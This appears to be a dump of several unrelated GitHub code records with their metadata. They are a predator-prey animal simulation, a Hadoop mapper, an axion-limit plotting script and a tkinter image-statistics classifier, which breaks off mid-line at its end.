\"\"\"\n Herbivore initializer.\n \"\"\"\n super(Herbivore, self).__init__(age, weight)\n\n def feed(self, cell_fodder_info):\n \"\"\"\n Herbivore feeding. Each year, the herbivore attempts to eat an amount\n of fodder. How much the herbivore actually eats depends on the\n available fodder in the cell.\n\n Parameters\n ----------\n cell_fodder_info: float\n Amount of available fodder in the cell.\n\n Returns\n -------\n eaten: float\n Amount of actually eaten fodder.\n \"\"\"\n\n eaten = self.parameters['F']\n if cell_fodder_info < eaten:\n eaten = cell_fodder_info\n self.weight += self.weight_gain(eaten)\n self.update_fitness()\n return eaten\n else:\n self.weight += self.weight_gain(eaten)\n self.update_fitness()\n return eaten\n\n\nclass Carnivore(Animals):\n \"\"\"\n Subclass of Animals.\n \"\"\"\n parameters = {\n 'w_birth': 6.0,\n 'sigma_birth': 1.0,\n 'beta': 0.75,\n 'eta': 0.125,\n 'a_half': 60.0,\n 'phi_age': 0.4,\n 'w_half': 4.0,\n 'phi_weight': 0.4,\n 'mu': 0.4,\n 'lambda': 1.0,\n 'gamma': 0.8,\n 'zeta': 3.5,\n 'xi': 1.1,\n 'omega': 0.9,\n 'F': 50.0,\n 'DeltaPhiMax': 10.0\n }\n\n def __init__(self, age=0, weight=None):\n \"\"\"\n Carnivore initializer.\n \"\"\"\n super(Carnivore, self).__init__(age, weight)\n\n def fitness_greater_than_prey(self, prey):\n \"\"\"\n Checks if carnivore's fitness is greater than the herbivore's fitness,\n and not greater than a threshold.\n\n Parameters\n ----------\n prey: Herbivore\n The animal the carnivore is trying to kill.\n\n Returns\n -------\n bool\n 'True' if the carnivore's fitness is greater than the herbivore's,\n and not greater than 'DeltaPhiMax' threshold. 'False' otherwise.\n\n \"\"\"\n return 0 < self.fitness - prey.fitness <= self.parameters[\n 'DeltaPhiMax'\n ]\n\n def chance_of_kill(self, prey):\n \"\"\"\n The chance the carnivore has to kill its prey.\n\n Parameters\n ----------\n prey: Herbivore\n The animal the carnivore is trying to kill.\n\n Returns\n -------\n float\n Probability of killing prey.\n \"\"\"\n return (self.fitness - prey.fitness) / self.parameters['DeltaPhiMax']\n\n def kill(self, nearby_herbivores):\n \"\"\"\n Carnivore attempts to kill a nearby herbivore. If the carnivore\n successfully kills the nearby herbivore, the carnivore's weight is\n updated and its fitness is re-evaluated.\n\n The carnivore continues to kill nearby herbivores until it is full or\n there are no more nearby herbivores.\n\n Parameters\n ----------\n nearby_herbivores: list\n List of herbivores residing in same cell as the carnivore.\n\n Returns\n -------\n killed_herbivore: list\n List containing all herbivores that was killed by the carnivore.\n \"\"\"\n kill_attempts = 1\n eaten = 0\n killed_herbivores = []\n number_of_nearby_herbivores = len(nearby_herbivores)\n\n for herbivore in nearby_herbivores:\n if eaten < self.parameters['F'] and \\\n kill_attempts <= number_of_nearby_herbivores:\n if self.fitness <= herbivore.fitness:\n chance = 0\n elif self.fitness_greater_than_prey(herbivore):\n chance = self.chance_of_kill(herbivore)\n else:\n chance = 1\n\n if bool(np.random.binomial(1, chance)) is True:\n self.weight += self.weight_gain(herbivore.weight)\n eaten += herbivore.weight\n self.update_fitness()\n killed_herbivores.append(herbivore)\n\n kill_attempts += 1\n\n return killed_herbivores\n","repo_name":"miclindb/BioSim_G09_Michael_Daniel","sub_path":"src/biosim/animals.py","file_name":"animals.py","file_ext":"py","file_size_in_byte":14661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14483912833","text":"#!/usr/bin/env python\nimport sys\n\nmyList = []\nfor line in sys.stdin:\n if line.strip():\n line = line.decode('utf-8')\n line = line.replace(\":\", \" \")\n temp = line.split()\n for item in temp:\n item = item.strip()\n myList.append(temp)\n\n#f = open(\"output.txt\", \"w\")\nfor element in myList:\n del element[0]\n for item in element:\n print(item)\n #f.write(item + \"\\n\")\n#f.close","repo_name":"agnedil/Portfolio","sub_path":"MISC/04-Cloud-Technologies/Hadoop-MapReduce/TopPopularLinksMapper.py","file_name":"TopPopularLinksMapper.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37078245033","text":"# --- Imports ---------------------- #\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom optparse import OptionParser\nfrom glob import glob\nfrom numpy import pi\nimport yaml\nfrom matplotlib.ticker import MultipleLocator, LogLocator, LogFormatter\nfrom matplotlib.ticker import FixedLocator\nimport argparse\nimport yaml\nimport glob\nimport numpy as np\nfrom matplotlib.patheffects import withStroke\nfrom math import atan, degrees\n# ---------------------------------- #\nga = lambda m,EN : 1./137. * 1./(2.*np.pi) * (EN - 1.92) * m / 0.006e9\nf = lambda m: 92. * 136. / 10.**(m - 6.) * np.sqrt(z) / (1. + z)\nga1 = lambda m: np.log10(1./(137. * 2 * np.pi * f(m)) * 2./3. * (4. + z)/(1. + z)) + 3.\nz = 0.56\n\neffect = dict(path_effects=[withStroke(foreground=\"k\", linewidth=1.)])\neffect_w = dict(path_effects=[withStroke(foreground=\"w\", linewidth=1.)])\n\ndef determine_angle_slope(line, ax):\n \"\"\"\n Determine the angle of a slope in picture coordinates in order to annotate a line with text \n where text is rotated such that it matches the line's slope\n\n Parameters\n ----------\n line: a matplotlib line object\n ax: matplotlib axes object\n\n Returns\n -------\n angle of line in degrees that can be used for matplolib's annotation rotation keyword\n\n Notes\n -----\n Adapted from https://matplotlib.org/gallery/text_labels_and_annotations/text_rotation_relative_to_line.html\n \"\"\"\n x, y = line.get_data()\n\n sp1 = ax.transData.transform_point((x[0],y[0]))\n sp2 = ax.transData.transform_point((x[-1],y[-1]))\n\n rise = (sp2[1] - sp1[1])\n run = (sp2[0] - sp1[0])\n\n return degrees(atan(rise/run))\n\ndef axion_line(m,EN = 2 * 1.92):\n \"\"\"\n Calculate the coupling constant for a given mass for QCD axions\n\n Parameter:\n ----------\n m: axion mass in eV\n EN: model dependent factor, default: 2 * 1.92 (KVSZ axion)\n\n Return\n ------\n axion-photon coupling in eV^-1\n \"\"\"\n return ga(m,EN)\n\ndef alp_dm_line(m):\n \"\"\"\n Return ALP DM line\n\n Parameter\n ---------\n m: ALP mass in eV\n\n Returns\n -------\n Upper limit for ALP coupling for DM\n\n Notes\n -----\n See Arias et al. (2012)\n \"\"\"\n return 10.**(-14 + 0.25 * np.log10(m))\n\ndef my_alp_dm_line(m, theta1 = 1, N = 1):\n \"\"\"\n Return ALP DM line\n\n Parameter\n ---------\n m: ALP mass in eV\n\n Returns\n -------\n Upper limit for ALP coupling for DM\n\n Notes\n -----\n See Arias et al. (2012)\n \"\"\"\n return 1. / 137. / (5.3e4) / 2. / np.pi * theta1 * N * np.sqrt(m)\n\ndef std_alp_dm_line(m):\n \"\"\"\n Return standard ALP DM line\n\n Parameter\n ---------\n m: ALP mass in eV\n\n Returns\n -------\n Upper limit for ALP coupling for DM\n\n Notes\n -----\n See Arias et al. (2012)\n \"\"\"\n return 10.**(-7.5 + 0.5 * np.log10(m))\n\nif __name__ == \"__main__\":\n usage = \"usage: %(prog)s --conf [config file]\"\n description = \"plot limits from yaml file\"\n parser = argparse.ArgumentParser(usage=usage,description=description)\n parser.add_argument('--conf', required = True, help = \"Yaml config file\")\n parser.add_argument('--limit_col', type = float, default = 0.3, help = \"between 0 and 1, limit range of color map\" )\n parser.add_argument('--overview', type = int, default = 1, help = \"If true, don't plot all labels\")\n parser.add_argument('--seed', type = int, help = \"Random seed for colors\")\n parser.add_argument('--highlight', help = \"the limit id to highlight with bright color\")\n parser.add_argument('--plotstyles', help=\"file lists of plotstyles\",\n default = 'config/plotstyles.yaml')\n args = parser.parse_args()\n pars = yaml.load(open(args.conf))\n #lim = np.load(pars['data']).flat[0] \n with open(pars['data'],'r') as f:\n lim = yaml.load(f)\n\n fig = plt.figure(figsize = pars['figsize'])\n ax = fig.add_subplot(111)\n ax.set_xscale('log')\n ax.set_yscale('log')\n\n if args.seed is not None:\n np.random.seed(args.seed)\n\n try:\n cp_lim = plt.get_cmap(pars['cmap_limit'])\n except ValueError:\n cp_lim = lambda x: pars['cmap_limit']\n try:\n cp_sen = plt.get_cmap(pars['cmap_sens'])\n except ValueError:\n cp_sen = lambda x: pars['cmap_sens']\n try:\n cp_hint = plt.get_cmap(pars['cmap_hint'])\n except ValueError:\n cp_hint = lambda x: pars['cmap_hint']\n try:\n cp_cosmo= plt.get_cmap(pars['cmap_cosmo'])\n except ValueError:\n cp_cosmo = lambda x: pars['cmap_cosmo']\n\n lw = 0.2\n lwplot = 2.\n ls = '-'\n\n# --- QCD axion line: \n ma = np.logspace(-20,9.5,100)\n lineQCD, = ax.plot(ma, axion_line(ma), \n zorder = -8,#label = 'QCD axion', \n **pars['lineDict']\n )\n ax.fill_between(ma, axion_line(ma, EN = 1.92*3), y2 = axion_line(ma, EN = 1.92*1.1), \n color = cp_hint(0.5), \n zorder = -9\n )\n ax.annotate('QCD axion',\n xy = (pars['axion_m'] * pars.get('axion_left',1.),axion_line(pars['axion_m']) * pars.get('axion_over',0.4)), \n rotation = determine_angle_slope(lineQCD,ax) + pars.get('angleQCD',-1),\n ha = 'center', va = 'center',\n size = 'x-small',\n zorder = 6.,\n #**effect\n )\n\n# ---- ALP cold DM lines\n ma = np.logspace(-20.,0.,100)\n line, = ax.plot(ma, my_alp_dm_line(ma, N = 1., theta1 = 1.), \n zorder = 0.1, **pars['lineDict'] \n )\n\n ax.annotate('ALP DM', \n xy = (pars['alp_dm_m'],my_alp_dm_line(pars['alp_dm_m'],\n N = 1., theta1 = 1.) / pars['alp_dm_under']),\n rotation = determine_angle_slope(line, ax) + pars.get('angleALPDM',0.),\n ha = 'center', va = 'center',\n size = 'x-small',\n zorder = 6.,\n **effect_w\n )\n # add arrows to the line: \n for m in [2e-12,2e-10,2e-8,2e-6]:\n g = my_alp_dm_line(m, N = 1., theta1 = 1.)\n ax.arrow(m, g, 0., -g/3., \n fc=pars['lineDict']['color'], ec=pars['lineDict']['color'],\n width = m * 1e-2, head_width = m / 5., head_length = g / 5.)\n\n# --- alp dm line for pure dm\n #ax.plot(ma, alp_dm_line(ma), \n #zorder = 0.2, ls = '--'\n #)\n# areas to be filled:\n with open(args.plotstyles) as f:\n plotstyles = yaml.load(f)\n# plot fermi hole\n # get the patch of the hole\n patch_hole = ax.fill(10.**lim['fermi-lat2']['log_m'], 10.**lim['fermi-lat2']['log_g'],\n closed = True,\n facecolor = 'None',\n edgecolor = '1.',\n zorder = lim['fermi-lat2']['z'],\n lw = lw,\n ls = ls,\n )\n # plot white in the hole\n ax.fill([10.**lim['fermi-lat2']['log_m'].min(), 10.**lim['fermi-lat2']['log_m'].min(),\n 10.**lim['fermi-lat2']['log_m'].max(), 10.**lim['fermi-lat2']['log_m'].max()],\n [10.**lim['fermi-lat2']['log_g'].min(), 10.**lim['fermi-lat2']['log_g'].max(),\n 10.**lim['fermi-lat2']['log_g'].max(), 10.**lim['fermi-lat2']['log_g'].min()],\n color = '1.',\n zorder = lim['fermi-lat2']['z'] + 0.1,\n clip_path = patch_hole[0],\n closed = True)\n\n# plot everything else\n for k,v in list(lim.items()):\n if k in plotstyles['sens']:\n fc = cp_sen((np.random.rand(1)[0] - 1.) * args.limit_col + 1.)\n alpha = 0.5\n elif k in plotstyles['hint']:\n fc = cp_hint((np.random.rand(1)[0] - 1.) * args.limit_col + 1.)\n alpha = 0.3\n elif k in plotstyles['cosmo']:\n fc = cp_cosmo((np.random.rand(1)[0] - 1.) * args.limit_col + 1.)\n alpha = 1.\n else:\n fc = cp_lim((np.random.rand(1)[0] - 1.) * args.limit_col + 1.)\n alpha = 1.\n\n if k == args.highlight:\n fc = pars.get('highlight', plt.cm.tab10(0.1))\n if not args.overview and not k in pars['skip']:\n ax.annotate(v['label'], xy = v['xylabel'], \n color = v['textcolor'],\n rotation = v['rotation'],\n fontsize = v.get('textsize','small'),\n ha = 'center', va = 'center',\n zorder = v['z'] + 0.1)\n\n if k in plotstyles['fill'] and not k in pars['skip']:\n\n for clip_path in [patch_hole[0], None]:\n if k == 'fermi-lat1' and clip_path is not None:\n continue\n\n patch = ax.fill(10.**v['log_m'], 10.**v['log_g'],\n zorder = v['z'] if clip_path is None else \\\n lim['fermi-lat2']['z'] + v['z'] / 10., \n closed = True,\n label = v['label'], \n facecolor = fc,\n edgecolor = '1.',\n clip_path = clip_path,\n alpha = alpha, \n lw = lw,\n ls = ls,\n )\n\n elif k in plotstyles['fill_between'] and not k in pars['skip']:\n patch = ax.fill_between(10.**v['log_m'],10.**v['log_g'],\n y2 = 1.,\n facecolor = fc,\n alpha = alpha, \n zorder = v['z'], \n edgecolor = '1.',\n lw = lw\n )\n\n elif k in plotstyles['plot'] and not k in pars['skip']:\n patch = ax.plot(10.**v['log_m'],10.**v['log_g'],\n color = fc,\n alpha = alpha, \n zorder = v['z'], \n lw = lwplot\n )\n else:\n continue\n\n v = np.array(pars['bounds']).astype(float)\n\n ax.tick_params(which = 'both', axis = 'both', direction = 'out')\n expmin = np.floor(np.log10(v[0]))\n dexp = np.ceil(np.log10(v[1])) - np.floor(np.log10(v[0]))\n expmin_y = np.floor(np.log10(v[2]))\n dexp_y = np.ceil(np.log10(v[3])) - np.floor(np.log10(v[2]))\n if not args.overview:\n ticks = np.array([])\n step = 1\n for de in range(int(dexp)):\n ticks = np.concatenate((ticks,np.arange(2,10,step) * 10.**(expmin + de)))\n xticks = plt.xticks(10.**np.arange(expmin,expmin +dexp, step))\n ax.xaxis.set_minor_locator(FixedLocator(ticks))\n else:\n step = 2\n xticks = plt.xticks(10.**np.arange(expmin,expmin +dexp, step))\n yticks = plt.yticks(10.**np.arange(expmin_y,expmin_y +dexp_y, step))\n ax.xaxis.set_minor_locator(FixedLocator(10.**np.arange(expmin+1,expmin +dexp, step)))\n ax.yaxis.set_minor_locator(FixedLocator(10.**np.arange(expmin_y+1,expmin_y +dexp_y, step)))\n ax.tick_params(which = 'minor', axis = 'both', labelbottom= False, labelleft = False)\n\n ax.annotate(\"LSW\", xy = (1e-7,1e-5), fontsize = 'medium',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"Helioscopes\", xy = (1e-7,1e-9), fontsize = 'medium',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"Haloscopes\", xy = (1e-6,1e-13), fontsize = 'small',\n rotation= 90., \n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"Stellar\\nevolution\", xy = (1e2,1e-8), fontsize = 'medium',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"Beam dump\\nexperiments\", xy = (1e6,1e-4), fontsize = 'x-small',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"Cosmological\\nprobes\", xy = (1e6,1e-13), fontsize = 'medium',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"X-rays / $\\gamma$-rays\", xy = (1e-11,1e-12), fontsize = 'small',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n ax.annotate(\"WD cooling\", xy = (1e0,1e-12), fontsize = 'x-small',\n ha = 'center', va = 'center', color = 'w', zorder = 100,**effect)\n\n ax.set_xlabel('$m_a$ (eV)', size = 'large')\n ax.set_ylabel('$g_{a\\gamma}$ (GeV$^{-1}$)', size = 'large')\n ax.set_xlim(v[0],v[1])\n ax.set_ylim(v[2],v[3])\n #ax.legend(fontsize = 'x-small')\n #plt.show()\n fig.subplots_adjust(left = pars.get('left',0.15),\n bottom = pars.get('left',0.15),\n top = 0.95, right = 0.95)\n fig.savefig('plots/{0:s}.pdf'.format(pars['name']), format = 'pdf')\n fig.savefig('plots/{0:s}.png'.format(pars['name']), format = 'png')\n plt.close(\"all\")\n","repo_name":"me-manu/gammaALPsPlot","sub_path":"plot_gammaALPs.py","file_name":"plot_gammaALPs.py","file_ext":"py","file_size_in_byte":12479,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"20204442695","text":"from tkinter import filedialog\r\nfrom tkinter import *\r\nimport os\r\nimport glob\r\nimport cv2\r\nimport numpy as np\r\nimport xlsxwriter\r\nimport xlrd\r\nfrom numpy import percentile\r\n\r\n\r\n\r\ndef browse_button():\r\n # Allow user to select a directory and store it in global var\r\n # called folder_path\r\n global folder_path,foldername\r\n foldername = filedialog.askdirectory()\r\n folder_path.set(foldername)\r\n state_Label.set(\"Folder Selected\")\r\n print(foldername)\r\n\r\n\r\ndef extract_button():\r\n #All files will be selected from the folder\r\n files = os.listdir(foldername)\r\n print(files)\r\n\r\n labels = []\r\n\r\n n = len(files);\r\n for f in files:\r\n newString = \"\"\r\n string = f\r\n for char in string:\r\n if char >= 'a' and char <= 'z':\r\n newString = newString + char\r\n\r\n else:\r\n break\r\n labels.append(newString)\r\n\r\n print(labels)\r\n\r\n meanValue = []\r\n stdValue = []\r\n medianValue = []\r\n midrangeValue = []\r\n modeValue =[]\r\n meanDevValue = []\r\n skewnessValue = []\r\n minValue = []\r\n maxValue = []\r\n q1Value = []\r\n q2Value = []\r\n q3Value = []\r\n varienceValue = []\r\n covarValue = []\r\n\r\n imageNumber = 0\r\n\r\n for img in glob.glob(folder_path.get() + \"\\*.png\"):\r\n # Load an color image in grayscale\r\n image = cv2.imread(img, 0)\r\n mean = np.mean(image)\r\n meanValue.append(mean)\r\n #--------------------------------------------------------------------------\r\n std = np.std(image)\r\n stdValue.append(std)\r\n medianValue.append(np.median(image))\r\n minVal = np.amin(image)\r\n maxVal = np.amax(image)\r\n midrangeValue.append((maxVal - minVal) / 2)\r\n quartiles = percentile(image, [25, 50, 75])\r\n q1 = quartiles[0]\r\n q2 = quartiles[1]\r\n q3 = quartiles[2]\r\n minValue.append(minVal)\r\n q1Value.append(q1)\r\n q2Value.append(q2)\r\n q3Value.append(q3)\r\n maxValue.append(maxVal)\r\n\r\n varience = np.var(image)\r\n varienceValue.append(varience)\r\n\r\n\r\n height, wideth= np.shape(image)\r\n #print(height)\r\n #print(wideth)\r\n hashmode = []\r\n meanDev = 0\r\n\r\n for i in range(0,256):\r\n hashmode.append(0)\r\n\r\n for i in range(0, height):\r\n for j in range(0, wideth):\r\n pixValue = image[i][j]\r\n # print(pixValue)\r\n hashmode[pixValue] = hashmode[pixValue] + 1\r\n meanDev = meanDev + abs(image[i][j] - mean)\r\n\r\n getMaxPixFreq = max(hashmode)\r\n mode = hashmode.index(getMaxPixFreq)\r\n modeValue.append(mode)\r\n #print(mode)\r\n meanDev = meanDev/(height*wideth)\r\n skewness = (mean-mode)/std\r\n\r\n meanDevValue.append(meanDev)\r\n skewnessValue.append(skewness)\r\n\r\n covar = (std/mean)*100\r\n covarValue.append(covar)\r\n imageNumber = imageNumber + 1\r\n print(imageNumber)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n #histg = cv2.calcHist([image], [0], None, [256], [0, 256])\r\n\r\n #print(histg)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n print(meanValue)\r\n #-----------------------------------------------------------------\r\n print(stdValue)\r\n print(medianValue)\r\n print(midrangeValue)\r\n print(modeValue)\r\n print(meanDevValue)\r\n print(skewnessValue)\r\n print(minValue)\r\n print(q1Value)\r\n print(q2Value)\r\n print(q3Value)\r\n print(maxValue)\r\n print(varienceValue)\r\n print(covarValue)\r\n\r\n # global workbook\r\n workbook = xlsxwriter.Workbook('Train.xlsx')\r\n\r\n worksheet = workbook.add_worksheet()\r\n\r\n worksheet.write(0, 0, \"Label\")\r\n worksheet.write(0, 1, \"Mean\")\r\n #------------------------------------\r\n worksheet.write(0, 2, \"Median\")\r\n worksheet.write(0, 3, \"Midrange\")\r\n worksheet.write(0, 4, \"Std\")\r\n worksheet.write(0, 5, \"Mode\")\r\n worksheet.write(0, 6, \"Min\")\r\n worksheet.write(0, 7, \"Q1\")\r\n worksheet.write(0, 8, \"Q2\")\r\n worksheet.write(0, 9, \"Q3\")\r\n worksheet.write(0, 10, \"Max\")\r\n worksheet.write(0, 11, \"Varience\")\r\n worksheet.write(0, 12, \"Mean Dev\")\r\n worksheet.write(0, 13, \"Skewness\")\r\n worksheet.write(0, 14, \"COV\")\r\n\r\n worksheetRow = 1\r\n worksheetCol = 0\r\n\r\n for i in range(len(labels)):\r\n l = labels[i]\r\n mn = meanValue[i]\r\n #--------------------------------------------------------\r\n std = stdValue[i]\r\n mdn = medianValue[i]\r\n mdr = midrangeValue[i]\r\n mdv = modeValue[i]\r\n minv = minValue[i]\r\n q1v = q1Value[i]\r\n q2v = q2Value[i]\r\n q3v = q3Value[i]\r\n maxv = maxValue[i]\r\n varv = varienceValue[i]\r\n mndev = meanDevValue[i]\r\n skv = skewnessValue[i]\r\n cov = covarValue[i]\r\n\r\n\r\n\r\n worksheet.write(worksheetRow, worksheetCol, l)\r\n worksheet.write(worksheetRow, worksheetCol + 1, mn)\r\n #----------------------------------------------------------------------------------\r\n #worksheet.write(worksheetRow, worksheetCol + 2, std)\r\n worksheet.write(worksheetRow, worksheetCol + 2, mdn)\r\n worksheet.write(worksheetRow, worksheetCol + 3, mdr)\r\n worksheet.write(worksheetRow, worksheetCol + 4, std)\r\n worksheet.write(worksheetRow, worksheetCol + 5, mdv)\r\n worksheet.write(worksheetRow, worksheetCol + 6, minv)\r\n worksheet.write(worksheetRow, worksheetCol + 7, q1v)\r\n worksheet.write(worksheetRow, worksheetCol + 8, q2v)\r\n worksheet.write(worksheetRow, worksheetCol + 9, q3v)\r\n worksheet.write(worksheetRow, worksheetCol + 10, maxv)\r\n worksheet.write(worksheetRow, worksheetCol + 11, varv)\r\n worksheet.write(worksheetRow, worksheetCol + 12, mndev)\r\n worksheet.write(worksheetRow, worksheetCol + 13, skv)\r\n worksheet.write(worksheetRow, worksheetCol + 14, cov)\r\n\r\n\r\n i += 1\r\n worksheetRow += 1\r\n\r\n workbook.close()\r\n state_Label.set(\"Extraction Complete\")\r\n\r\ndef load_button():\r\n # load xlsx file\r\n # global xlsx_path\r\n\r\n global xlsx_path\r\n xlsx_path = filedialog.askopenfilename()\r\n\r\n print(xlsx_path)\r\n state_Label.set(\"Load Complete\")\r\n\r\n\r\ndef image_button():\r\n # load image file\r\n #global Image path\r\n global image_path\r\n image_path = filedialog.askopenfilename()\r\n\r\n print(image_path)\r\n state_Label.set(\"Test Image Selected\")\r\n\r\n\r\ndef recognition_button():\r\n # load xlsx file\r\n workbook = xlrd.open_workbook(xlsx_path)\r\n\r\n worksheet = workbook.sheet_by_index(0)\r\n\r\n #global trainLabel, trainMidrange, trainMedian, trainStd, trainMean\r\n\r\n trainLabel = []\r\n trainMean = []\r\n #---------------------------------------------\r\n trainStd = []\r\n trainMedian = []\r\n trainMidrange = []\r\n trainMode = []\r\n trainMin = []\r\n trainQ1 = []\r\n trainQ2 = []\r\n trainQ3 = []\r\n trainMax = []\r\n trainVarience = []\r\n trainMeanDev = []\r\n trainSkewness = []\r\n trainCOV = []\r\n\r\n sheetRow = worksheet.row_values(0)\r\n print(sheetRow)\r\n sheetCol = worksheet.col_values(0)\r\n print(sheetCol)\r\n colLength = len(sheetCol)\r\n print(colLength)\r\n\r\n for i in range(1, colLength):\r\n trainLabel.append(worksheet.cell_value(i, 0))\r\n trainMean.append(worksheet.cell_value(i, 1))\r\n #------------------------------------------------------------------\r\n #trainStd.append(worksheet.cell_value(i, 2))\r\n trainMedian.append(worksheet.cell_value(i, 2))\r\n trainMidrange.append(worksheet.cell_value(i, 3))\r\n trainStd.append(worksheet.cell_value(i, 4))\r\n trainMode.append(worksheet.cell_value(i, 5))\r\n trainMin.append(worksheet.cell_value(i, 6))\r\n trainQ1.append(worksheet.cell_value(i, 7))\r\n trainQ2.append(worksheet.cell_value(i, 8))\r\n trainQ3.append(worksheet.cell_value(i, 9))\r\n trainMax.append(worksheet.cell_value(i, 10))\r\n trainVarience.append(worksheet.cell_value(i, 11))\r\n trainMeanDev.append(worksheet.cell_value(i, 12))\r\n trainSkewness.append(worksheet.cell_value(i, 13))\r\n trainCOV.append(worksheet.cell_value(i, 14))\r\n\r\n print(trainLabel)\r\n print(trainMean)\r\n #-------------------------------------------------------\r\n print(trainStd)\r\n print(trainMedian)\r\n print(trainMidrange)\r\n print(trainMode)\r\n print(trainMin)\r\n print(trainQ1)\r\n print(trainQ2)\r\n print(trainQ3)\r\n print(trainMax)\r\n print(trainVarience)\r\n print(trainMeanDev)\r\n print(trainSkewness)\r\n print(trainCOV)\r\n\r\n state_Label.set(\"Loading Done\")\r\n\r\n recogImage = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\r\n recogMean = np.mean(recogImage)\r\n #---------------------------------------------------\r\n recogStd = np.std(recogImage)\r\n recogMedian = np.median(recogImage)\r\n recogMidrange = (np.amax(recogImage) - np.amin(recogImage)) / 2\r\n recogMin = np.amin(recogImage)\r\n recogquartiles = percentile(recogImage, [25, 50, 75])\r\n recogQ1 = recogquartiles[0]\r\n recogQ2 = recogquartiles[1]\r\n recogQ3 = recogquartiles[2]\r\n recogMax = np.amax(recogImage)\r\n recogVarience = np.var(recogImage)\r\n\r\n height, wideth= np.shape(recogImage)\r\n\r\n reHash = []\r\n recogMeanDev = 0\r\n\r\n for i in range(0,256):\r\n reHash.append(0)\r\n\r\n for i in range(0, height):\r\n for j in range(0, wideth):\r\n pixValue = recogImage[i][j]\r\n # print(pixValue)\r\n reHash[pixValue] = reHash[pixValue] + 1\r\n recogMeanDev = recogMeanDev + abs(recogImage[i][j] - recogMean)\r\n\r\n getMaxPixFreq = max(reHash)\r\n recogMode = reHash.index(getMaxPixFreq)\r\n # print(mode)\r\n recogMeanDev = recogMeanDev / (height * wideth)\r\n recogSkewness = (recogMean - recogMode) / recogStd\r\n recogCOV = (recogStd/recogMean)*100\r\n\r\n\r\n\r\n print(recogMean)\r\n #--------------------------------------------\r\n print(recogStd)\r\n print(recogMedian)\r\n print(recogMidrange)\r\n print(recogMode)\r\n print(recogMin)\r\n print(recogQ1)\r\n print(recogQ2)\r\n print(recogQ3)\r\n print(recogMax)\r\n print(recogVarience)\r\n print(recogMeanDev)\r\n print(recogSkewness)\r\n print(recogCOV)\r\n\r\n tmn = trainMean[0]\r\n tstd = trainStd[0]\r\n tmdn = trainMedian[0]\r\n tmdr = trainMidrange[0]\r\n tmdv = trainMode[0]\r\n tminv = trainMin[0]\r\n tq1v = trainQ1[0]\r\n tq2v = trainQ2[0]\r\n tq3v = trainQ3[0]\r\n tmaxv = trainMax[0]\r\n tvarv = trainVarience[0]\r\n tmndev = trainMeanDev[0]\r\n tskv = trainSkewness[0]\r\n tcov = trainCOV[0]\r\n\r\n\r\n #result = (recogMean - tmn) ** 2 + (recogMedian - tmdn) ** 2 + (recogMidrange - tmdr) ** 2 + (recogStd - tstd)**2\r\n #result = np.sqrt(result)\r\n\r\n avgT = (tminv + tq1v + tq2v + tq3v + tmaxv + tvarv + tmndev + tskv + tcov)/9\r\n varT = ((tminv**2 + tq1v**2 + tq2v**2 + tq3v**2 + tmaxv**2 + tvarv**2 + tmndev**2 + tskv**2 + tcov**2)/9)-avgT**2\r\n stdT = np.sqrt(varT)\r\n\r\n avgR = (recogMin + recogQ1 + recogQ2 + recogQ3 + recogMax + recogVarience + recogMeanDev + recogSkewness + recogCOV)/9\r\n varR = ((recogMin**2 + recogQ1**2 + recogQ2**2 + recogQ3**2 + recogMax**2 + recogVarience**2 + recogMeanDev**2 + recogSkewness**2 + recogCOV**2)/9)\r\n stdR = np.sqrt(varR)\r\n\r\n resultUpper = (tminv*recogMin + tq1v*recogQ1 + tq2v*recogQ2 + tq3v*recogQ3 + tmaxv*recogMax + tvarv*recogVarience + tmndev*recogMeanDev + tskv*recogSkewness + tcov*recogCOV)-9*avgR*avgT\r\n resultLower = 9*stdT*stdR\r\n result = resultUpper/resultLower\r\n maxResult = result\r\n resultLabel = trainLabel[0]\r\n print(result)\r\n\r\n for i in range(1, len(trainMean)):\r\n tl = trainLabel[i]\r\n tmn = trainMean[i]\r\n #-----------------------------------------\r\n tstd = trainStd[i]\r\n tmdn = trainMedian[i]\r\n tmdr = trainMidrange[i]\r\n tmdv = trainMode[i]\r\n tminv = trainMin[i]\r\n tq1v = trainQ1[i]\r\n tq2v = trainQ2[i]\r\n tq3v = trainQ3[i]\r\n tmaxv = trainMax[i]\r\n tvarv = trainVarience[i]\r\n tmndev = trainMeanDev[i]\r\n tskv = trainSkewness[i]\r\n tcov = trainCOV[i]\r\n\r\n avgT = (tminv + tq1v + tq2v + tq3v + tmaxv + tvarv + tmndev + tskv + tcov) / 9\r\n varT = ((tminv ** 2 + tq1v ** 2 + tq2v ** 2 + tq3v ** 2 + tmaxv ** 2 + tvarv ** 2 + tmndev ** 2 + tskv ** 2 + tcov ** 2) / 9) - avgT ** 2\r\n stdT = np.sqrt(varT)\r\n\r\n resultUpper = (tminv * recogMin + tq1v * recogQ1 + tq2v * recogQ2 + tq3v * recogQ3 + tmaxv * recogMax + tvarv * recogVarience + tmndev * recogMeanDev + tskv * recogSkewness + tcov * recogCOV) - 9 * avgR * avgT\r\n resultLower = 9 * stdT * stdR\r\n result = resultUpper / resultLower\r\n print(result)\r\n\r\n #result = (recogMean - tmn) ** 2 + (recogMedian - tmdn) ** 2 + (recogMidrange - tmdr) ** 2 + (recogStd - tstd)**2\r\n #result = np.sqrt(result)\r\n\r\n if (result >maxResult):\r\n maxResult = result\r\n resultLabel = tl\r\n\r\n state_Label.set(\"Recognition Done\")\r\n result_Label.set(resultLabel)\r\n print(resultLabel)\r\n print(maxResult)\r\n\r\n\r\nroot = Tk()\r\n\r\n\r\n\r\ntopframe = 